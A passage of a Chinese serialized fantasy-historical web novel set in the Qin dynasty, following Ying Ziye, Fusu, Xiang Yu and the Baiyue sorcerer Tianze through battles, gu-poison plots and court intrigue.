阿爹将她推入密道时的最后一句话:“胡娘…活下去…”
“喂!发什么呆!”
一个龟奴狠狠推了她一把。
“贵客等着呢!”
她踉跄着站稳,低头掩饰眼中的恨意。
胸前的玛瑙越来越烫,像是在呼应她内心的怒火。
“总有一天…”
她擦干手上的水渍,指甲深深掐进掌心。
“我要让那些人都付出代价。”
前院传来阵阵丝竹声,夹杂着男人们的调笑。
她深吸一口气,将所有的情绪都压回心底最深处。
“火雨山庄的血…不会白流。”
……
夜色如墨,项氏大营的火把在风中摇曳不定。
项羽拄着虎头盘龙戟站在营门前,重瞳中映照着远处连绵的秦军篝火。
他身后的战马不安地刨着蹄子,铁甲上还带着未干的血迹。
“少主,不能再拖了。”
龙且单膝跪地,银甲已经残破不堪,
“王离的穿甲兵今早又破了两道防线,我们…”
“闭嘴!”
项羽突然暴喝,盘龙戟重重砸地,震得尘土飞扬。
“项氏子弟,宁可站着死!”
范增拄着龟杖缓步走来,枯瘦的手指在袖中掐算。
“子时三刻,东南方有雾气。”
他浑浊的眼中闪过一丝精光。
“天不亡楚。”
项羽猛地转身,战袍在风中猎猎作响。
“传令!所有人卸甲轻装,龙且率腾龙骑开路,另派人断后!”
他翻身上马,乌骓人立而起。
“今夜,不是鱼死,就是网破!”
……
三更时分,浓雾果然如期而至。
项氏残部如幽灵般穿过营寨缺口,却在谷口处突然听到一声尖锐的哨响。
“项氏余孽,本将军恭候多时了!”
王离的马槊在月光下泛着寒光,他端坐在战马上,身后是整齐的百战穿甲兵方阵。
铁甲摩擦声如潮水般响起,瞬间将项氏残部团团围住。
“杀!”
项羽双目赤红,盘龙戟横扫千军。
乌骓马如黑色闪电冲入敌阵,戟锋过处,三名穿甲兵连人带甲被劈成两半。
龙且银枪如龙,挑飞两名**手。
“保护少主突围!”
话音未落,王离的马槊已到眼前。
枪槊相击,火花四溅,龙且被震得连退三步,虎口迸裂!
“项家小儿,就这点本事?”
王离冷笑,马槊如毒蛇吐信,直取项羽咽喉。
项羽侧身避让,盘龙戟反手一撩,竟将马槊挑开半尺。
“王离!”
项羽怒吼,重瞳中似有岩浆翻滚。
“今日必取你首级!”
两员猛将战作一团,兵器碰撞声震耳欲聋。
王离马槊势大力沉,每一击都带着破空之声。
项羽盘龙戟如蛟龙出海,招招直取要害!
周围士兵竟无人敢近身!
战况越发惨烈。
项氏子弟一个接一个倒下,鲜血染红了整片谷地。
项羽的乌骓马已经中箭,他却仍死战不退,盘龙戟上挂满了碎肉和甲片。
就在此时,浓雾突然变得伸手不见五指。
秦军阵中传来混乱的喊声。
“箭!有埋伏!”
“天助我也!”
项羽大喜,盘龙戟劈开一条血路。
“随我冲!”
奇怪的是,射来的箭矢竟都避开了楚军,专取秦军咽喉!!
王离怒喝:“何方鼠辈!”
马槊横扫,却只劈散一团雾气!
项氏残部趁机冲出重围,遁入密林深处。
直到确认甩开追兵,项羽才勒住战马,盘龙戟往地上一杵。
“清点人数!”
活下来的不足三成。
龙且右臂中箭,背上插着半截断矛,范增的龟杖已经折断。
正当众人喘息之际,林间突然传来一声轻笑!
“项少主,别来无恙啊。”
刘季带着十余个农家子弟从树后转出,嘴角挂着玩世不恭的笑。
他腰间悬着一柄锈迹斑斑的铁剑,看起来就像个市井无赖。
“是你?”
项羽盘龙戟一指,戟尖距离刘季咽喉不过三寸。
“刚才的箭…”
“小小见面礼。”
刘季浑不在意咽喉前的利刃,随手抛过一个水囊。
“尝尝,沛县特产的青梅酒。”
英布一把抢过水囊。
“少耍花样!你为何帮我们?”
刘季突然收敛笑容,眼中闪过一丝锋芒。
“因为秦人霸占了农家。”
他拳头捏得咯咯作响:“朱家老爷子…死在了大泽山里。”
范增眯起眼睛:“所以你想借项氏之力报仇?”
“不止。”
刘季环视众人,声音低沉。
“大秦铁骑之下,
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单靠项氏或者农家,都是死路一条。”
他直视项羽重瞳。
“合作,才能活。”
项羽冷笑:“就凭你这些乌合之众?”
刘季突然将铁剑一甩,拨开项羽的盘龙戟。
“就凭我能让王离中伏!就凭我知道百战穿甲兵的布防图!!”
他猛地逼近一步。
“就凭我身上怀揣着朱家老爷子说临死前托付的侠魁令!!!”
林中一片死寂。
项羽的重瞳微微收缩,终于收起盘龙戟。
“条件?”
“助我重整农家。”
刘季伸出满是老茧的手:“他日推翻暴秦,你做王,我封公。”
乌骓马突然嘶鸣起来。
项羽盯着刘季的手,突然放声大笑。
“好!”
他重重握住那只手。
“但若你敢耍花样…”
“那就让项少主的盘龙戟,捅穿刘某的喉咙。”
刘季笑得像个市井流氓,眼中却闪着狐狸般的狡黠。
远处,王离的追兵火把如长龙般逼近。
刘季吹了声口哨,林中突然钻出数十名农家弟子。
“跟我来,带你们先离开这个地方。”
项羽翻身上马,最后望了一眼追兵方向,重瞳中燃烧着滔**火。
“王离…赢子夜…这笔账,迟早要算!!!”
……
南疆。
夜空被火光染成血色。
漓江城内,守军将领死死攥着断裂的**,眼睁睁看着城墙下涌来的“秦军”。
那些穿着熟悉铠甲的士兵动作僵硬,头盔下隐约可见腐烂的面容。
“放箭!快放箭!”
他嘶吼着,却见一支**突然从背后射来,穿透了他的咽喉。
城楼阴影处,百毒王阴笑着收起**:“第三座城。”
与此同时,临沅城的水井旁,几个妇人正打着水,突然发现井水泛着诡异的绿色。
最前面的老妪刚捧起水碗,整张脸就迅速溃烂,惨叫着跌入井中。
驱尸魔站在屋顶,招魂铃轻轻摇晃:“新鲜的尸傀有了。”
最惨烈的当属零陵。
卫庄的鲨齿剑刚斩下第十个巫师的头颅,就听见赤练尖声警告:“小心脚下!”
整条街道突然塌陷,无数毒蛇从地底涌出!
白凤的羽刃在空中织成死亡之网,却见城墙上的守军突然开始自相残杀。
他们的眼珠都变成了诡异的绿色!
“大人当心,是幻蛊!”赤练的红蛇咬死一条毒**。
……
天泽站在高处俯瞰这片混乱,蛇形锁链兴奋地晃动着:“看啊,大秦的南疆。”
他深吸一口充满血腥味的空气,“正在成为我们百越的养蛊之地。”
“再派人去,让他们见识下,什么叫真正的…人间地狱。”
第191章 本公子要让百越,尸山血海!
军帐内,青铜灯盏的火苗不安地跳动着。
扶苏指尖划过沙盘上被标记为“沦陷”的城池,眉头紧锁如刀刻。
蒙毅站在一旁,铠甲上的血迹还未干透,铁拳捏得咯咯作响。
“殿下,末将总觉得不对劲。”
蒙毅突然一拳砸在案几上,“百越人向来擅长山林游击,如今却接连强攻城池…”
他指着沙盘上几处红点,“这些地方既非粮仓也非要塞,他们图什么?”
扶苏轻轻按住太阳穴,那里突突跳动着。
案上的密报堆了厚厚一叠。
漓江水寨被毒雾笼罩、镡城守军集体发狂、零陵粮仓惊现尸蛊……
每一条都让他胸口发闷。
“报——!”
传令兵跌撞入帐,面如土色,“临沅…临沅城守军倒戈了!他们见人就咬,被咬伤的弟兄们不到半刻钟就…”
扶苏猛地站起身,素白袖袍带翻了杯盏!
滚烫的热水在沙盘上晕开,将代表临沅的木俑泡得发胀。
“倒戈?”
他声音发紧,“详细说!”
“那些弟兄们…眼睛全是绿的…”
传令兵浑身发抖,“像中了邪一样,连自己人都砍!赵佗将军不得已…下令放箭…”
帐内一片死寂。
蒙毅的佩刀突然出鞘半寸:“是蛊!百越人在用活人养蛊!”
扶苏闭了闭眼,再睁开时已恢复平静:“传令,所有接触过临沅溃兵的将士单独隔离,另派快马去查,这些日子各城水井可有异常。”
突然,又有将领掀帐而入,铁甲上还带着箭矢:“殿下!末将刚巡视营寨,发现…”
他压低声音,“咱们的军医在偷偷焚烧尸体。”
扶苏瞳孔骤缩。
蒙毅已经按刀而起:“带路!”
医帐外,三名医官正将一具尸体投入火堆。
那尸体突然抽搐起来,吓得众人连退数步。
扶苏拨开人群,只见那“尸体”的皮肤下似有活物游走,将胸膛顶得起伏不定。
“什么时候开始的?”
扶苏声音冷得像冰。
为首的医官扑通跪下:“三…三日前就有弟兄伤口里爬出红线虫…下官怕引起恐慌…”
“混账!”
蒙毅一脚踹翻药篓,“这等大事也敢隐瞒?!”
扶苏却抬手制止,俯身仔细观察那具扭曲的尸体。
突然,他瞳孔一缩!
尸体的耳后有个细小的蛇鳞状纹身。
“不是普通的蛊。”
扶苏缓缓直起身,“是天泽的蛇灵印记。”
他转向王贲,“立即排查全军,所有接触过南疆水源的将士集中看管。”
蒙毅突然想到什么,脸色大变:“殿下!若连我军中也潜伏着这种蛇灵蛊…”
“所以才要请六弟派人来。”
扶苏脸色凝重,“他麾下的力量,可助我们一臂之力。”
帐外突然传来骚动。
一个浑身是血的斥候冲进来:“报!百越主力出现在漓江上游,正在…在建水坝!”
扶苏手中的玉简啪嗒落地。
所有线索突然串联起来!
不攻城池,不抢粮草,只要控制水源。
“传令全军!”
他素来温和的声音此刻凌厉如剑,“放弃所有外围据点,死守漓江主河道!”
扶苏一把扯下象征长公子身份的金冠,“再派死士突围!”
“百越要的不是南疆,而是百万尸蛊大军!!!”
……
夜。
军营内的火把在风中摇曳不定。
扶苏伏案批阅军报,眉心那道褶皱始终未能舒展。
危机不解决,心头的一块重石,就一直无法落下。
烛火突然剧烈晃动,他警觉地抬头,却见帐外黑影幢幢。
“殿下小心!”
一道黑影从帐顶破布而下,玄铁面具在烛光下泛着冷光!
扶苏疾退间案几已被劈成两半,墨汁溅在素白衣袍上如血般刺目!!
帐外喊杀声骤起,夹杂着士兵凄厉的惨叫!
“天泽!”
扶苏拔出佩剑,剑锋直指来人,“你竟敢在本公子面前现身?”
“本君有何不敢?”
天泽的锁链如毒蛇出洞,绞住长剑发出刺耳声响,“长公子的人头,正好给嬴政当贺礼!”
话音一落。
帐布突然被剑气撕碎,三名暗河**无声落地!
为首者铁面具覆面,双刀交错架住锁链:“主上有令,扶苏公子一根汗**都不能少!”
天泽狞笑,锁链上的鳞片骤然竖起。
金属摩擦声中,六条锁链如活物般**开来,将三名暗河**逼退:“就凭你们?”
营帐外已乱作一团。
驱尸魔的骨杖点地,数十具“尸体”从土中爬出。
百毒王蹲在旗杆顶端,枯手不断撒下毒粉。
所过之处,士兵纷纷陷入癫狂!!!
“保护殿下!”
蒙毅带伤杀到,**如龙直取天泽咽喉,却被突然出现的无双鬼拦下。
两人兵器相撞,火星四溅。
扶苏趁机退至亲卫圈中,忽觉颈后一凉!
百毒王不知何时已绕到身后,枯爪如钩直取后心:“公子尝尝老朽的七步绝命散!”
“殿下!”
暗河死士们飞身来救,却见百毒王袖中突然炸开一团绿雾。
扶苏只来得及闭气半瞬,仍觉一缕腥甜钻入鼻腔,顿时天旋地转。
“得手了!”
百毒王怪笑着后跃,枯瘦的身形如蝙蝠般滑入阴影,“三个时辰内必死无疑!”
天泽锁链横扫,逼退**的暗河**:“撤!”
他阴冷的目光扫过踉跄跪地的扶苏,“让嬴政好好看着他的儿子…化成一滩脓血!”
暗河还想追击,却被扶苏虚弱的声音唤住:“别追…”
他嘴角已渗出黑血,“全军**…等六弟……”
蒙毅扶住摇摇欲坠的扶苏,虎目赤红:“医官!快传医官!”
营外高树上,百毒王舔着指甲上的毒液,对天泽谄笑:“主上,那毒里掺了尸蛊卵,就算神仙也…”
“闭嘴。”
天泽望向远处亮起的火把长龙,大量援军正在向扶苏这边靠拢。
“传令蛇灵部,准备下一步的计划。”
……
数日后。
沛县衙内,烛火猛地一跳。
赢
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子夜指尖的密报突然燃起幽蓝火焰,将他棱角分明的侧脸映得明暗不定。
王离派来的传令兵还跪在地上,额角冷汗涔涔:“项氏余孽突围时有人接应,是农家刘季…”
“闭嘴。”
赢子夜声音不大,却让整个厅堂的温度骤降。
就在这时!
门外传来急促的马蹄声,火把未至,人已扑入。
传令兵浑身是血,手中仍紧攥着那道封缄未干的八百里急奏。
他扑倒在地,嘶声喊道:“长公子殿下身中百越奇毒…边疆七城沦陷…恳请六公子速援!!!”
赢子夜目光一凛!
他接过绢帛,蒙毅的字迹潦草得几乎破碎,明显写于马背颠簸之间。
“呵。”
他突然冷笑,绢帛在掌心燃起幽蓝火焰,化为飞灰,“妇人之仁,果然遭报应了。”
赵弋苍的铁面具下传出粗重的呼吸:“主上,是否先调暗河…”
“调什么?”
赢子夜猛然转身,玄色衣袍翻卷如乌云压城,“等他们赶到,兄长的尸首都凉了!”
他腰间玉珏突然迸发刺目血光,映得瞳孔如熔金流淌。
少司命的紫纱无风自动:“夫君,火雨玛瑙之事…”
“让夜枭去查。”
赢子夜袖中甩出半枚虎符,“告诉他们,就算把中原掘地三尺,也要找出那个带着玛瑙的女人!”
虎符深深嵌入梁柱!
“若遇反抗——格杀勿论!”
赵戈苍疾步上前:“公子三思!此时若离沛县,项羽刘季恐…”
“让他们闹!”
赢子夜一脚踹翻沙盘,木俑滚落满地,“一群丧家之犬,也配让本公子费心?”
他忽然扭头望向赵戈苍“还是说…你觉得兄长该死?”
“卑职不敢!”
赵戈苍脸色一白,“只是南疆形势未明…”
“未明?”
“天泽那条毒蛇摆明了要打乱我军的部署。”
赢子夜的指尖突然燃烧起来,在空中勾勒出南疆地图。
“那就让他看看——”
地图上的百越之地猛然炸成一片火海!
“钟离昧点三百轻骑随行,赵弋苍率暗河先行开道。”
赢子夜扯下沾染墨迹的外袍,露出内里绣着金纹的胄衣。
“传讯给南疆,就说本公子,五日内必至!”
少司命突然按住他的手腕:“毒是百毒王的手笔,需带端木蓉同去。”
“准。”
赢子夜反手握住她冰凉的手指,“夫人与我同乘——”
他抬起头,黑瞳中翻涌着骇人的风暴。
“天泽既然想玩大的…”
玄色大氅轰然扬起,整扇房门被震成齑粉!
“本公子就陪他玩场尸山血海!!!”
马蹄声如惊雷破开夜色,三百轻骑如离弦之箭射向南方。
赢子夜一马当先,狂风吹起他散落的黑发,如同复仇的修罗。
少司命在他怀中回头望去,沛县城楼上一盏孤灯忽明忽灭。
那是夫君麾下部分人奉命留守的信号。
她轻轻捏碎一枚玉符,紫眸中寒光凛冽。
南疆的腥风血雨,才刚刚开始!
第192章 九重狱下的怪物!
楚地。
巨阙剑劈开一名暗河死士的头颅!!
胜七古铜色的胸膛已布满深可见骨的伤口!
他拄着剑喘息,血顺着剑脊滴落在泥土里,汇成暗红的小洼。
林间突然传来诡异的笛声,伴随着细密的鳞片摩擦声。
“啧,阴魂不散。”
他吐出口中血沫,巨阙再度扬起。
十余名身披蛇鳞蓑衣的身影从树冠跃下。
为首者笛声骤停,露出绘着毒**纹的面具:“这位壮士,我等乃百越万蛇宗门人。”
他瞥了眼满地暗河死士的尸首,手中骨笛一转,骤然再度吹响!
嘶嘶声四起,草丛中无数毒蛇窜出,瞬间缠上扑来的血鸦小队!
两名血鸦还未来得及喊叫,便被蛇群裹住喉咙,惨嚎着倒地!
“敌人的敌人便是朋友。”面具人冷声道,双刀一振,与同伴们一同扑向追兵。
胜七独眼微眯,巨阙抵地,阴沉的气息仿佛随时要爆发。
“朋友?”
他咧开沾血的牙齿,巨阙突然横扫!
为首者急退仍被剑气划破蓑衣,露出底下密密麻麻的蛇鳞甲!
“老子杀秦狗,关你们百越屁事!”
万蛇宗门人顿时摆出蛇阵,双刀如毒牙闪烁:“狂妄!我宗门好意相助…”
“相助?”
胜七狂笑着劈碎身旁巨石。
“在老子眼里,你们和秦狗没两样!”
巨阙带起腥风!
蛇阵骤然收缩,双刀如群蛇出洞。
胜七不避不闪,巨阙舞成血色旋风,硬生生撞进阵心!
刀剑相交声如暴雨倾盆,不断有残肢断刃飞溅而出。
“疯子!”
万蛇宗首领惊怒交加,笛声陡然尖厉。
林中窜出无数毒蛇,却见胜七巨阙插地,震波将蛇群尽数掀飞!
“就这点能耐?”
胜七一脚踏碎蛇首,独眼中凶光毕露。
“让你们见识见识农家的血性!”
巨阙突然爆发出刺目血光,剑身浮现出古老的图腾。
剑势如惊涛骇浪,瞬间斩破蛇阵!!
三名万蛇弟子连人带刀被劈成两半,血雨淋了胜七满头满脸。
他舔着唇边血迹,状如疯魔:“下一个!”
“撤!”
首领吹响骨笛,剩余门人如蛇蜕般没入草丛。
“这疯子敌我不分!”
胜七还要追击,林外突然箭如飞蝗!
昭鞅的黑衣如鬼魅般掠过树梢:“农家余孽,今日便是你的死期!!!”
“暗河的杂碎!”
胜七巨阙格开箭矢,肩上又添新伤。
他猛然撞向河岸巨石,碎石如雨砸向追兵。
昭鞅双刀如蝶穿花,刀气却总被巨阙震偏!
“困住他!!!”
胜七突然狂笑,巨阙插入河滩。
“想要老子的命?”
他独眼扫过合围的暗河**。
“那就看你们有没有这个本事!”
纵身跃入湍急河水,巨阙在入水前最后一记横扫,将岸边礁石轰然击碎!
“追!”
昭鞅厉喝,却见浑浊的河水中突然涌出大量血泡!
两名下水追击的**惨叫浮起,浑身爬满吸血水蛭。
“是百越的蛊虫!”
有**惊呼着后退。
昭鞅面色铁青地盯着恢复平静的河面,突然反手一剑劈断身旁古树。
“好个借刀**…”
他抹去溅到脸上的树汁。
“传讯主上,胜七与百越勾结,坠河遁逃,派人去追,一个都别放过!”
河水下游三里处,胜七从漩涡中挣扎上岸,巨阙插在泥中支撑着摇晃的身躯。
他撕开胸前蛇鳞甲,露出心口处诡异的蛊虫印记,正是方才万蛇宗暗算所致。
“百越…秦狗…”
他呕出黑血,独眼中燃烧着癫狂的火焰。
“都给老子等着…”
……
咸阳。
胡亥正歪在软榻上,用金簪逗弄笼中的毒蛛。
当密使颤抖着禀报扶苏**的消息时,他指尖的金簪突然刺穿了蛛腹。
“**?”
少年声音轻快得像在问今天天气如何。
密使额头紧贴地毯:“还…还吊着一口气。”
“废物!”
胡亥突然踹翻香炉,炭火点燃了波斯地毯。
“百越那帮蛮子连下毒都这么磨叽!”
“就这,还百毒王呢……”
他神经质地啃咬指甲,眼珠却兴奋地转动。
“去,把老师请来。”
很快,黑袍宦官如鬼魅般现身,袖中还带着刑房的腥气:“老奴恭喜殿下。”
“喜?”
胡亥痴痴笑起来,指尖沾着蛛血在案上画圈。
“我那好大哥要是真**,父皇一怒之下平了百越,本公子还怎么玩?”
赵高深鞠一躬:“殿下圣明,不过…若是长公子‘意外’薨逝在南疆,而殿下恰好稳住局势……”
胡亥突然安静下来,瞳孔缩成针尖:“说下去。”
“军中粮草该换批人管了!”
赵高袖中滑出半块虎符。
“尤其是漓江大营那边,最近总遭百越骚扰,若换个‘懂事’的督粮官…”
胡亥抢过虎符把玩,突然狠狠砸向赵高面门!!!
宦官不躲不闪,任额角淌下鲜血。
“老师应该知道,要是被六哥发现……”
胡亥凑近嗅了嗅血味。
“那杂种可不像扶苏那么好糊弄。”
赵高露出诡笑:“六公子此刻估计正忙着救长公子的命呢。”
他递上一卷名单。
“公子莫非忘了?这些将领都或多或少受过殿下恩惠,比如屠雎将军麾下裨将…”
胡亥突然咯咯笑起来,踢开毒蛛笼子。
“那就让他们去!告诉那群狗奴才——”
少年眉眼弯成月牙,声音却毒如蛇信。
“要是运粮车再被劫,就把自己填进粮袋里!”
窗外惊雷炸响,映得胡亥半
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张脸惨白如鬼。
他痴迷地望着南疆方向,仿佛已经看见扶苏军权瓦解的盛况!!
……
章台宫深处。
烛火在青铜灯盏中不安地跳动。
嬴政指尖的密信突然自燃,灰烬飘落在玄色帝袍的玄鸟纹上,化作细微的焦痕。
侍立两侧的郎官屏住呼吸,听见陛下指节捏得发白的声响。
“子夜…也去了?”
低沉的声音如同地底闷雷。
当近侍颤声确认时,帝袍上的金线突然游动起来,十二条玄鸟纹路竟似活物般盘旋。
“那就好。”
“备驾。”
嬴政突然起身,十二旒冕冠上的玉珠相互碰撞。
“去九重狱。”
……
阴冷的地底深处,铁锈与腐土的气味几乎凝成实质。
嬴政踏过积水,靴底碾碎了一只试图攀上脚背的百足毒虫。
黑暗最深处,三十六根锁链如巨**交缠,琵琶钩贯穿的腕骨早已与铁锈长在一起。
“这些年,你还是不肯说。”
嬴政的声音在穹顶回荡,震落簌簌灰尘。
锁链突然哗啦作响,黑暗中传来沙哑的笑声:“嬴政…你身上的死气越来越重了。”
被缚者抬起头,乱发间露出的眼睛竟泛着幽绿光泽。
“怎么?终于怕了?”
帝袍上的玄鸟突然厉声尖啸!!
嬴政抬手虚按,所有锁链瞬间绷直,将囚犯吊离地面三寸。
“朕最后再问你一次!说还是不说?!”
“别急啊…”
囚犯咳着血笑出声。
“等我出去的那天,你会亲眼看见——”
琵琶钩突然深陷骨肉,将他后半句话碾成痛哼。
嬴政五指缓缓收拢,锁链发出令人牙酸的扭曲声。
“朕能把你关在这里二十年。”
“自然也能再关你一次!!”
他转身时袖摆扫过刑架,上百件刑具同时嗡鸣。
“好好活着,等朕……”
“嬴政!”
囚犯突然暴起,锁链寸寸断裂却又被新生的玄铁重新束缚!
“你别后悔啊!”
巨响吞没了后半句话。
九重闸门次第落下,将嘶吼彻底隔绝!
嬴政步出地狱时,朝阳正刺破云层。
他望着南疆方向,指尖摩挲着袖中半块焦黑的龟甲。
那是二十年前从对方骨血中炼出的卦象。
“陛下…”
黑冰台统领匍匐在地。
“可要增派人手保护六公子和长公子?”
玄鸟纹路在帝袍上疯狂游走。
嬴政抬手接住一片枯叶,叶片在掌心化为龙形火焰。
“让他磨刀。”
火焰倏地没入袖中。
“倒是你——替朕看着,扶苏如今**,看军中是否有任何变故。”
黑冰台统领重重磕在青砖上,砖面顿时爬满裂痕。
等他再抬头时,阶前只余一缕盘旋的尘埃,仿佛有黑龙掠空而去!!
第193章 好好享受本公子的惊喜吧!
数日之余。
军帐内。
弥漫着浓重的血腥与药味。
赢子夜玄色衣袍曳地,指尖金焰在扶苏心口三寸处缓缓盘旋。
榻上的人面色青黑,每一次呼吸都带出腐臭的黑气。
“百越的蛇灵蛊混着尸毒。”
赢子夜声音冷得像冰。
“军中那些医官干得不错,再晚半日,大罗金仙也难救。”
金焰突然刺入扶苏眉心,引得昏迷的人剧烈抽搐!
蒙毅“咚”地跪地:“末将万死!未能护好殿下……”
“罢了,你也有功劳,若非处理的及时,兄长活不过三个时辰,哪还能撑到现在?”
“你的账…稍后再算。”
赢子夜袖中甩出玉瓶,三枚丹药精准落入扶苏唇间。
“说正事。”
随着金焰游走,扶苏皮肤下凸起游走的黑线被强行压回。
蒙毅冷汗涔涔:“公子遇袭后,百越冒出许多陌生高手,擅长驱使毒虫尸傀,我军伤亡已过三万,不得已收缩防线…”
赢子夜头也不抬:“卫庄呢?”
“逆流沙分散在各大要道阻敌,但…”
蒙毅喉结滚动。
“今早传来消息,白凤重伤,赤练中了蛊毒。”
赢子夜突然加重力道,扶苏呕出大口黑血,帐内顿时腥臭扑鼻!!
“废物。”
金焰倏地收回,他扯过绢帛擦手。
“连条小小的毒蛇都收拾不了。”
少司命无声递上银针。
赢子夜并指如飞,七十二根银针封住扶苏周身大穴!!
最后一根直刺心脉时,整个军帐无风自动!
“每日卯时喂他服此丹。”
赢子夜抛出血玉瓶。
“你亲自用内力助药力化开,错半分时辰——”
他瞥了眼蒙毅。
“提头来见!!”
突然掀帐而出,玄色衣袍扫过满地血污。
夕阳将他的影子拉得极长,所过之处,将士们纷纷跪伏。
“击鼓。”
他踏上点将台,腰间玉珏碰撞出金戈之声!
“半时辰后,我要看到所有千夫长以上的将领。”
指尖轻抚台面石狮,狮首瞬间化为齑粉。
“迟到者,以此为鉴!!!”
狂风吹起他散落的发丝,黑瞳扫过远处狼烟四起的疆域。
赵弋苍的铁甲铿然跪地:“主上,探子报百越主力**在蛇谷…”
“让他们聚。”
赢子夜冷笑。
“传令火**营,子时前烧光蛇谷百里草木。”
他忽然望向南疆深处。
“他们不是喜欢玩蛊?”
少司命指尖青叶骤然枯萎,听见夫君声音如万载寒冰!
“让他们看看什么叫做焚天煮海!!”
……
半个时辰后。
帅帐内,青铜灯盏将人影拉得扭曲晃动。
赢子夜手中的木棍重重点在沙盘三座边城上,木屑簌簌落在象征秦军的黑色小旗间。
“即日起,弃守镡城、零陵、临沅。”
声音冷得像淬火的铁。
帐内死寂一瞬,随即炸开锅!
赵佗第一个拍案而起:“公子!零陵乃粮道咽喉,岂能…”
“所以天泽第一个打这里。”
木棍突然刺穿零陵城的模型。
“三日折损八千精锐,就为守个喂不饱大军的咽喉?”
赢子夜抬眸,黑瞳扫过众将。
“谁再去填这个无底洞,本公子准他带全家老小一同殉城!”
屠雎须发皆张:“可这些都是将士们用命换来的!”
“命?”
赢子夜突然冷笑,袖中甩出染血的军报。
“这七日折损三万六千条命,就因你们非要守这些破城!!!”
军报砸在沙盘上,露出里面密密麻麻的阵亡名录。
蒙毅突然单膝跪地:“公子明鉴!但骤然弃城,恐动摇军心…”
木棍猛地劈裂沙盘!
碎石飞溅中,赢子夜的声音如寒刃出鞘。
“百越毒蛊能让人畜化为行尸,你们是要等全军变成蛊傀再撤?”
他忽然揪住赵佗衣领指向帐外。
“闻到了吗?风里都是腐臭味,明显是天泽在用尸体养新蛊!!!”
诸将脸色煞白。
他们当然闻到了,那些战死同袍的尸体正在莫名膨胀,昨夜甚至有哨兵被爬起的“尸体”咬断了喉咙。
“本公子不是来商量的。”
赢子夜甩开赵佗,玄色衣袖拂过沙盘。
“弃城,焚粮,诱敌深入,谁敢阳奉阴违——”
腰间天子剑突然迸射寒芒。
“军法从事!!!”
屠雎还想争辩,却见少司命无声现身帐角,指尖三片青叶正滴溜溜旋转。
他顿时噤声。
这位阴阳家的长老,就在两炷香前,已用叶片削平了半座叛乱的营寨!
“我知道你们怕什么。”
赢子夜突然放缓语气,指尖金焰重凝沙盘。
“弃城之罪,本公子一力承担。”<
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br>他划出漓江流域。
“但若因你们迟疑,让百越毒蛊顺江水灌入中原…”
金焰突然暴涨,将整个沙盘吞没!
火焰中浮现出可怕幻象!
无数百姓皮肤溃烂成行尸,蝗虫般扑向关中平原!!!
“现在,告诉本公子。”
赢子夜的声音从火焰中传来。
“是守三座废城重要,还是保住大秦根基重要?”
赵佗第一个重重跪地:“末将…遵命!”
“屠雎!”
赢子夜突然点名。
“你带人去办件事。”
扔过一枚虎符。
“把这三城的守军尸首…全部烧干净。”
老将接过虎符时手在发抖。
他明白这意味着什么。
那些或许还有救的伤兵,都必须化为灰烬!
“别摆出这副表情。”
赢子夜转身望向南疆,玄鸟纹在袍上怒张。
“天泽喜欢用尸蛊…”
瞳孔中倒映出冲天火光。
“本公子就让他连具完尸都凑不齐!!”
帐外突然传来凄厉的号角声!
赢子夜唇角勾起冷弧。
“瞧,猎物已经等不及了。”
诸将奔出帅帐时,看见远方三座边城同时燃起熊熊大火,黑烟如巨**直窜云霄。
火光照亮赢子夜冰冷的侧脸,他正用绢帛细细擦拭木棍上的焦痕。
“传令卫庄。”
他突然对阴影吩咐。
“暂时不要出手,收缩阵线,再听我号令!”
……
诸将告辞后。
帐外油灯齐齐矮了三分。
公孙墨玄垂首立在阴影里,官袍下摆还沾着南疆的泥泘。
赢子夜抬眸,瞳孔冷若刀锋。
“墨玄。”
声音轻得像毒蛇游过沙地。
“传我命令。”
袖中滑出半枚玄鸟兵符。
“让公输仇带着机关兽,秘密伪装成盐车,从武关道南下。”
又递来一卷竹简:“韩信同样南下,让惊鲵小姐派人接应,从农家暗渠走。”
他语气森冷。
“这件事,谁也不能知晓。”
“全权交给你去办。”
公孙墨玄猛地抬头,眼底浮现骇意,旋即伏地重叩。
“谨遵公子令!”
当烛火重燃时,帐内只剩赢子夜一人。
他摩挲着腰间天子剑的剑穗,黑瞳倒映着地图上蜿蜒的漓江。
“天泽……”
“本公子给你备了好些…惊喜。”
第194章 攻守易型!
数日之余。
潮湿的洞穴中,水珠顺着钟乳石滴落在毒潭里,发出令人心悸的轻响。
天泽的蛇形锁链缓缓绞紧一份军报,绢帛在鳞片摩擦间化为齑粉。
“退了?”
他猩红的舌尖舔过獠牙。
“这个六殿下倒是识趣,知道护着他那快死的兄长。”
百毒王佝偻着背阴笑:“主上英明!秦军一退,那三座城的蛊种正好成熟…”
他袖中爬出几条碧绿小蛇。
“要不要现在就去收割?”
“急什么。”
天泽锁链突然刺入毒潭,搅起翻涌的泡沫。
“那位六公子可不是来救人的。”
他眼中幽光闪烁。
“他是来…对付咱们的。”
驱尸魔的骨杖重重顿地:“可探子说赢子夜每日亲自给扶苏逼毒,根本无暇顾忌我等。”
“蠢货!”
锁链猛地抽碎身旁石笋!
“他若真在乎扶苏死活,就该带人杀进蛇谷找我们解毒,而不是缩在营里喂药!”
天泽突然狞笑起来。
“不过正好,本君就陪他演这场戏。”
无双鬼那张惨白的鬼面缓缓偏转,阴声问道:“主上的意思是?”
“他们想合兵一处,本君偏要把天撕开更多口子。”
天泽甩出七枚骨符。
“传令所有部族!屠城三日,所夺之地尽归其有!!!”
骨符炸裂成绿雾,浮现出百越各部图腾。
百毒王兴奋得浑身发抖:“那些宗门早就等不及了!万蛇宗说要抓三千童男炼蛊,尸傀门要掘坟赶尸…”
“准!”
天泽锁链狂舞,洞顶碎石簌簌落下。
“让百越的毒火燃遍每寸秦土!我要赢子夜看顾东边时西边起火,扑灭南边时北边沦陷!”
驱尸魔突然迟疑:“可战线拉得太长,万一…”
“没有万一!”
天泽一脚踹翻毒潭,溅起的毒液腐蚀出缕缕青烟。
“赢子夜再厉害也只有一个人,而百越…”
他张开双臂,无数毒虫从阴影中涌出。
“有的是愿意用命换土地的疯子!”
无双鬼面容扭曲,声音回荡在洞穴中:“要不要属下去会会那位六公子…听说他的容貌,比女子还要俊俏。”
“你碰他一下试试?”
锁链突然缠住他咽喉,天泽眼中闪过忌惮。
“那是本君的猎物。”
当洞穴重归寂静时,天泽抚摸着心口蠕动的螣蛇蛊。
毒潭倒影中,他的面容忽然扭曲。
他缓缓勾起嘴角,低声自语。
“这位六殿下……倒要看看,他究竟有几分真本事。”
……
两日后。
血色残阳下,漓江支流的无名村落腾起滚滚黑烟。
万蛇宗弟子狞笑着将村民驱赶到晒谷场,为首的疤面汉子甩动浸过蛇毒的鞭子,在黄土上抽打出滋滋作响的焦痕。
